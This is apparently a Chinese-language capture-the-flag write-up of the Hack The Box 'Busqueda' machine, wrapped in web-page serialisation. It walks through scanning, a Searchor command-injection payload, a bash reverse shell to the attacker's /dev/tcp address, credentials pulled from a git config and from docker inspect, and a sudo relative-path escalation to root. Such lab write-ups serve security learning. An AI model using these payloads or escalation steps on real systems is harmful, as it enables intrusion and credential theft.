19:I[15621,["/_next/static/immutable/chunks/3gm-8e62xn1qd.js","/_next/static/immutable/chunks/0n2yq6f-f75k2.js"],"ArticleReader"] 1a:T481,

$ nmap -p- --min-rate 10000 10.129.228.217
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 19:04 +0800
Nmap scan report for 10.129.228.217
Host is up (0.58s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds

$ nmap -p22,80 -sCV 10.129.228.217
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 19:01 +0800
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header:
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.26 seconds

1b:T44f,$ nmap -p- --min-rate 10000 10.129.228.217 Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 19:04 +0800 Nmap scan report for 10.129.228.217 Host is up (0.58s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds $ nmap -p22,80 -sCV 10.129.228.217 Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-24 19:01 +0800 Nmap scan report for searcher.htb (10.129.228.217) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Searcher | http-server-header: | Apache/2.4.52 (Ubuntu) |_ Werkzeug/2.1.2 Python/3.10.6 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.26 seconds1c:T6ba,

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py --help
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 years ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 years ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
...
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"
    ],
...

1d:T5ac,svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda. svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py --help Usage: /opt/scripts/system-checkup.py (arg1) (arg2) docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 years ago Up 3 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 years ago Up 3 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup Something went wrong svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq . ... "Env": [ "USER_UID=115", "USER_GID=121", "GITEA__database__DB_TYPE=mysql", "GITEA__database__HOST=db:3306", "GITEA__database__NAME=gitea", "GITEA__database__USER=gitea", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "USER=git", "GITEA_CUSTOM=/data/gitea" ], ...11:["$","main",null,{"className":"reader-page","children":[["$","div",null,{"className":"reader-kicker","children":[["$","$L10",null,{"href":"/sources/8493b38312725c73","children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":16,"height":16,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-arrow-left","children":[["$","path","1l729n",{"d":"m12 19-7-7 7-7"}],["$","path","x3x0zl",{"d":"M19 12H5"}],"$undefined"]}]," 返回 ","ABB00717"]}],["$","span",null,{"children":"观点博客"}]]}],["$","header",null,{"className":"article-meta","children":[["$","span",null,{"children":["FROM · ","ABB00717"]}],["$","div",null,{"children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":15,"height":15,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-calendar-days","children":[["$","path","1cmpym",{"d":"M8 2v4"}],["$","path","4m81vk",{"d":"M16 2v4"}],["$","rect","1hopcy",{"width":"18","height":"18","x":"3","y":"4","rx":"2"}],["$","path","8toen8",{"d":"M3 10h18"}],["$","path","6423bh",{"d":"M8 14h.01"}],["$","path","1etili",{"d":"M12 14h.01"}],["$","path","1gbofw",{"d":"M16 14h.01"}],["$","path","lrp35t",{"d":"M8 18h.01"}],["$","path","mhygvu",{"d":"M12 18h.01"}],["$","path","kzsmim",{"d":"M16 18h.01"}],"$undefined"]}]," ","2026年5月24日",null]}]]}],["$","$L19",null,{"article":{"title":"HTB - Busqueda","byline":null,"publishedAt":"2026-05-24T23:50:00.000Z","language":"en","blocks":[{"id":"b0","type":"heading","html":"

機器官方簡介

","text":"機器官方簡介"},{"id":"b1","type":"quote","html":"

\n
Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user’s Gitea account. Further analysis of the system checkup script’s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.
\n

","text":"Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user’s Gitea account. Further analysis of the system checkup script’s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges."},{"id":"b2","type":"paragraph","html":"

Busqueda 是一台難度等級為「簡單」的 Linux 機器，其挑戰涉及利用 Python 模組中存在的指令注入漏洞。透過利用此漏洞，我們獲得了該機器的使用者層級存取權限。為了將權限提升至 root，我們在 Git 設定檔中發現了憑證，使我們能夠登入本地的 Gitea 服務。此外，我們發現某個特定使用者可以以 root 權限執行系統檢查腳本。藉由使用該腳本，我們列舉了 Docker 容器，進而發現管理員使用者 Gitea 帳號的憑證。進一步分析 Git 儲存庫中系統檢查腳本的原始碼後，發現了利用相對路徑引用的方法，使我們獲得了具備 root 權限的遠端程式碼執行（RCE）能力。

","text":"Busqueda 是一台難度等級為「簡單」的 Linux 機器，其挑戰涉及利用 Python 模組中存在的指令注入漏洞。透過利用此漏洞，我們獲得了該機器的使用者層級存取權限。為了將權限提升至 root，我們在 Git 設定檔中發現了憑證，使我們能夠登入本地的 Gitea 服務。此外，我們發現某個特定使用者可以以 root 權限執行系統檢查腳本。藉由使用該腳本，我們列舉了 Docker 容器，進而發現管理員使用者 Gitea 帳號的憑證。進一步分析 Git 儲存庫中系統檢查腳本的原始碼後，發現了利用相對路徑引用的方法，使我們獲得了具備 root 權限的遠端程式碼執行（RCE）能力。"},{"id":"b3","type":"heading","html":"

資訊偵查

","text":"資訊偵查"},{"id":"b4","type":"paragraph","html":"

首先一定是 nmap 伺候：

","text":"首先一定是 nmap 伺候："},{"id":"b5","type":"paragraph","html":"$1a","text":"$1b"},{"id":"b6","type":"paragraph","html":"

有開 80 port，先編輯 /etc/hosts，再去網頁看看：

","text":"有開 80 port，先編輯 /etc/hosts，再去網頁看看："},{"id":"b7","type":"paragraph","html":"

10.129.228.217  searcher.htb\n

","text":"10.129.228.217 searcher.htb"},{"id":"b9","type":"paragraph","html":"

選擇 Google 輸入 test，並按下搜尋：

","text":"選擇 Google 輸入 test，並按下搜尋："},{"id":"b11","type":"paragraph","html":"

會前往 /search 並且回傳該網站對應的搜尋 URL，如果句選 Auto redirect 則會直接導向該網站。

","text":"會前往 /search 並且回傳該網站對應的搜尋 URL，如果句選 Auto redirect 則會直接導向該網站。"},{"id":"b12","type":"heading","html":"

Searchor 漏洞

","text":"Searchor 漏洞"},{"id":"b13","type":"paragraph","html":"

回到首頁，可以看到 Searchor 版本號為 2.4.0：

","text":"回到首頁，可以看到 Searchor 版本號為 2.4.0："},{"id":"b15","type":"paragraph","html":"

我那時候是直接通靈 LLM，馬上就知道漏洞在哪並搓出 Reverse Shell 了，但總該多學點東西對吧。看了 0xdf 的部落格，他首先去 Searchor 的 GitHub Release 頁面，定位到 v2.4.2 有修補一個高優先級漏洞。再來他找到了對應的修補程式碼：

","text":"我那時候是直接通靈 LLM，馬上就知道漏洞在哪並搓出 Reverse Shell 了，但總該多學點東西對吧。看了 0xdf 的部落格，他首先去 Searchor 的 GitHub Release 頁面，定位到 v2.4.2 有修補一個高優先級漏洞。再來他找到了對應的修補程式碼："},{"id":"b17","type":"paragraph","html":"

') + __import__('os').system('id')#

","text":"') + __import__('os').system('id')#"},{"id":"b18","type":"paragraph","html":"

接著他在本地自行建構環境並測試，最後得出了這樣的結果：

","text":"接著他在本地自行建構環境並測試，最後得出了這樣的結果："},{"id":"b19","type":"paragraph","html":"

(venv) oxdf@hacky$ searchor search GitHub \"' + __import__('os').popen('id').read() + '\"\n\nhttps://www.github.com/search?q=uid%3D1000%28oxdf%29%20gid%3D1000%28oxdf%29%20groups%3D1000%28oxdf%29%2C115%28netdev%29%2C123%28nopasswdlogin%29%2C999%28vboxsf%29%0A\n

","text":"(venv) oxdf@hacky$ searchor search GitHub \"' + __import__('os').popen('id').read() + '\" https://www.github.com/search?q=uid%3D1000%28oxdf%29%20gid%3D1000%28oxdf%29%20groups%3D1000%28oxdf%29%2C115%28netdev%29%2C123%28nopasswdlogin%29%2C999%28vboxsf%29%0A"},{"id":"b20","type":"paragraph","html":"

但這裡也可以參考 IppSec 的做法，他透過 BurpSuite 的 Repeater，在本地配合 ffuf 定位出 size = 0 的特殊字元，他也因為伺服器後端是 python 所以同時檢測 SSTI 漏洞，也成功觸發。

","text":"但這裡也可以參考 IppSec 的做法，他透過 BurpSuite 的 Repeater，在本地配合 ffuf 定位出 size = 0 的特殊字元，他也因為伺服器後端是 python 所以同時檢測 SSTI 漏洞，也成功觸發。"},{"id":"b21","type":"paragraph","html":"

$ cat search.req\nPOST /search HTTP/1.1\nHost: searcher.htb\nContent-Length: 24\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36\nOrigin: http://searcher.htb\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: http://searcher.htb/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nConnection: keep-alive\n\nengine=Google&query=testFUZZ\n\n$ ffuf -request search.req -request-proto http -w /usr/share/SecLists/Fuzzing/special-chars.txt -ms 0\n\\                       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2743ms]\n'                       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3514ms]\n:: Progress: [32/32] :: Job [1/1] :: 25 req/sec :: Duration: [0:00:04] :: Errors: 0 ::\n

","text":"$$ cat search.req POST /search HTTP/1.1 Host: searcher.htb Content-Length: 24 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Origin: http://searcher.htb Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://searcher.htb/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive engine=Google&query=testFUZZ $ ffuf -request search.req -request-proto http -w /usr/share/SecLists/Fuzzing/special-chars.txt -ms 0 \\ [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2743ms] ' [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3514ms] :: Progress: [32/32] :: Job [1/1] :: 25 req/sec :: Duration: [0:00:04] :: Errors: 0 ::"},{"id":"b22","type":"paragraph","html":"

其實配合上述兩個線索（' 和修補程式碼），已經可以猜出來了：

","text":"其實配合上述兩個線索（' 和修補程式碼），已經可以猜出來了："},{"id":"b25","type":"heading","html":"

取得 Reverse Shell

","text":"取得 Reverse Shell"},{"id":"b26","type":"paragraph","html":"

這時拿 Reverse Shell 的路徑已經很清楚了，選一個 Bash Reverse Shell 來用。之後在 query 後方輸入 '+__import__('os').popen('bash -c \\\"bash -i >& /dev/tcp/10.10.16.43/443 0>&1\\\"').read()+'，並且按下 Ctrl+u 編碼後送出：

","text":"這時拿 Reverse Shell 的路徑已經很清楚了，選一個 Bash Reverse Shell 來用。之後在 query 後方輸入 '+__import__('os').popen('bash -c \\\"bash -i >& /dev/tcp/10.10.16.43/443 0>&1\\\"').read()+'，並且按下 Ctrl+u 編碼後送出："},{"id":"b28","type":"paragraph","html":"

就拿到 Reverse Shell 了！

","text":"就拿到 Reverse Shell 了！"},{"id":"b29","type":"quote","html":"

\n
幹這個真的有夠難用的 😅 試了好久才用出來
\n

","text":"幹這個真的有夠難用的 😅 試了好久才用出來"},{"id":"b30","type":"heading","html":"

升級成 tty

","text":"升級成 tty"},{"id":"b31","type":"list","html":"

","text":"Upgrade to Fully Interactive TTYs Youtube - 0xdf - What Happens In a “Shell Upgrade”?"},{"id":"b32","type":"paragraph","html":"

svc@busqueda:/var/www/app$ python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\nsvc@busqueda:/var/www/app$ ^Z\n[1]+  Stopped                    nc -lvnp 443\nabb00717@abb00717-kali:/mnt/Shared/Hacking/HTB/Machines/Busqueda [725s]\n$ stty raw -echo && fg\nnc -lvnp 443\n\n# 在自己的 Terminal 檢查 `stty -a`\n\nsvc@busqueda:/var/www/app$ stty rows 28 columns 126\nsvc@busqueda:/var/www/app$ export TERM=xterm\nsvc@busqueda:/var/www/app$ ls -al\ntotal 20\ndrwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .\ndrwxr-xr-x 4 root     root     4096 Apr  4  2023 ..\n-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py\ndrwxr-xr-x 8 www-data www-data 4096 May 24 10:48 .git\ndrwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates\n

","text":"svc@busqueda:/var/www/app$ python3 -c 'import pty; pty.spawn(\"/bin/bash\")' python3 -c 'import pty; pty.spawn(\"/bin/bash\")' svc@busqueda:/var/www/app$ ^Z [1]+ Stopped nc -lvnp 443 abb00717@abb00717-kali:/mnt/Shared/Hacking/HTB/Machines/Busqueda [725s] $ stty raw -echo && fg nc -lvnp 443 # 在自己的 Terminal 檢查 `stty -a` svc@busqueda:/var/www/app$ stty rows 28 columns 126 svc@busqueda:/var/www/app$ export TERM=xterm svc@busqueda:/var/www/app$ ls -al total 20 drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 . drwxr-xr-x 4 root root 4096 Apr 4 2023 .. -rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py drwxr-xr-x 8 www-data www-data 4096 May 24 10:48 .git drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates"},{"id":"b33","type":"paragraph","html":"

就可以看到有顏色的漂亮 Shell 了：

","text":"就可以看到有顏色的漂亮 Shell 了："},{"id":"b35","type":"paragraph","html":"

接著就可以看到 user.txt 了：

","text":"接著就可以看到 user.txt 了："},{"id":"b36","type":"paragraph","html":"

svc@busqueda:/var/www/app$ cd\nsvc@busqueda:~$ ls\nuser.txt\nsvc@busqueda:~$ cat user.txt\n7ee2c***************************\nsvc@busqueda:~$\n

","text":"svc@busqueda:/var/www/app$ cd svc@busqueda:~$ ls user.txt svc@busqueda:~$ cat user.txt 7ee2c*************************** svc@busqueda:~$"},{"id":"b37","type":"heading","html":"

內部偵查

","text":"內部偵查"},{"id":"b38","type":"paragraph","html":"

我們先 cd - 回去看看，可以發現它是個 Git 專案，所以就看看他的 config：

","text":"我們先 cd - 回去看看，可以發現它是個 Git 專案，所以就看看他的 config："},{"id":"b39","type":"paragraph","html":"

svc@busqueda:/var/www/app/.git$ cat config\n[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n[remote \"origin\"]\n\turl = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searechr_site.git\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"main\"]\n\tremote = origin\n\tmerge = refs/heads/main\n

","text":"svc@busqueda:/var/www/app/.git$ cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote \"origin\"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searechr_site.git fetch = +refs/heads/*:refs/remotes/origin/* [branch \"main\"] remote = origin merge = refs/heads/main"},{"id":"b40","type":"paragraph","html":"

這就是為什麼 GitHub 強迫所有人要用 SSH 連線的原因，我們在 /etc/hosts 加上 gitea.searcher.htb 後：

","text":"這就是為什麼 GitHub 強迫所有人要用 SSH 連線的原因，我們在 /etc/hosts 加上 gitea.searcher.htb 後："},{"id":"b42","type":"paragraph","html":"

就可以用 cody 的帳密登入了：

","text":"就可以用 cody 的帳密登入了："},{"id":"b44","type":"heading","html":"

sudo

","text":"sudo"},{"id":"b45","type":"paragraph","html":"

騷了幾圈，除了知道 administrator 的存在以外，這裡目前沒什麼好看的。既然我們知道了 cody 的密碼，就可以回去用 sudo -l 了：

","text":"騷了幾圈，除了知道 administrator 的存在以外，這裡目前沒什麼好看的。既然我們知道了 cody 的密碼，就可以回去用 sudo -l 了："},{"id":"b46","type":"paragraph","html":"

svc@busqueda:/var/www/app/.git$ sudo -l\n[sudo] password for svc:\nMatching Defaults entries for svc on busqueda:\n    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty\n\nUser svc may run the following commands on busqueda:\n    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *\n

","text":"svc@busqueda:/var/www/app/.git$ sudo -l [sudo] password for svc: Matching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py *"},{"id":"b47","type":"heading","html":"

docker

","text":"docker"},{"id":"b48","type":"paragraph","html":"

玩玩看 system-checkup.py（ docker inspect 的文檔）

","text":"玩玩看 system-checkup.py（ docker inspect 的文檔）"},{"id":"b49","type":"paragraph","html":"$1c","text":"$1d"},{"id":"b50","type":"heading","html":"

system-checkup

","text":"system-checkup"},{"id":"b51","type":"paragraph","html":"

試帳號 gitea 沒有過，但是用來登 administrator 居然登入了。進去騷個幾圈很快就可以看到 system-checkup 的腳本：

","text":"試帳號 gitea 沒有過，但是用來登 administrator 居然登入了。進去騷個幾圈很快就可以看到 system-checkup 的腳本："},{"id":"b53","type":"paragraph","html":"

既然剛剛 full-checkup 怪怪的，那就仔細看那邊，看了才發現原來他打成了 './full-checkup.sh'：

","text":"既然剛剛 full-checkup 怪怪的，那就仔細看那邊，看了才發現原來他打成了 './full-checkup.sh'："},{"id":"b55","type":"paragraph","html":"

接下來就很明顯了吧：

","text":"接下來就很明顯了吧："},{"id":"b56","type":"paragraph","html":"

svc@busqueda:~$ cat full-checkup.sh\n#!/bin/bash\n\ncat /root/root.txt\nsvc@busqueda:~$ chmod +x full-checkup.sh\nsvc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup\nd288e***************************\n\n[+] Done!\nsvc@busqueda:~$\n

","text":"svc@busqueda:~$ cat full-checkup.sh #!/bin/bash cat /root/root.txt svc@busqueda:~$ chmod +x full-checkup.sh svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup d288e*************************** [+] Done! svc@busqueda:~$"},{"id":"b57","type":"paragraph","html":"

你也可以參考 0xdf 的做法拿 Root Shell。

","text":"你也可以參考 0xdf 的做法拿 Root Shell。"}],"source":"$0:f:0:1:0:props:children:props:children:1:props:children:props:children:props:children:0:props:sources:243","originalUrl":"https://blog.abb00717.com/%E7%B4%80%E9%8C%84/Hack-The-Box/Machines/Busqueda","excerpt":"利用 Python 模組 Searchor 的指令注入漏洞獲得使用者存取權限以後，在 Git 設定檔發現憑證並登入 Gitea 服務。接著枚舉 Docker 容器，發現管理員的 Gitea 憑證。最後在系統檢查腳本中發現相對路徑漏洞並最終獲得 RCE。"},"shouldTranslate":true}],"$L1e"]}]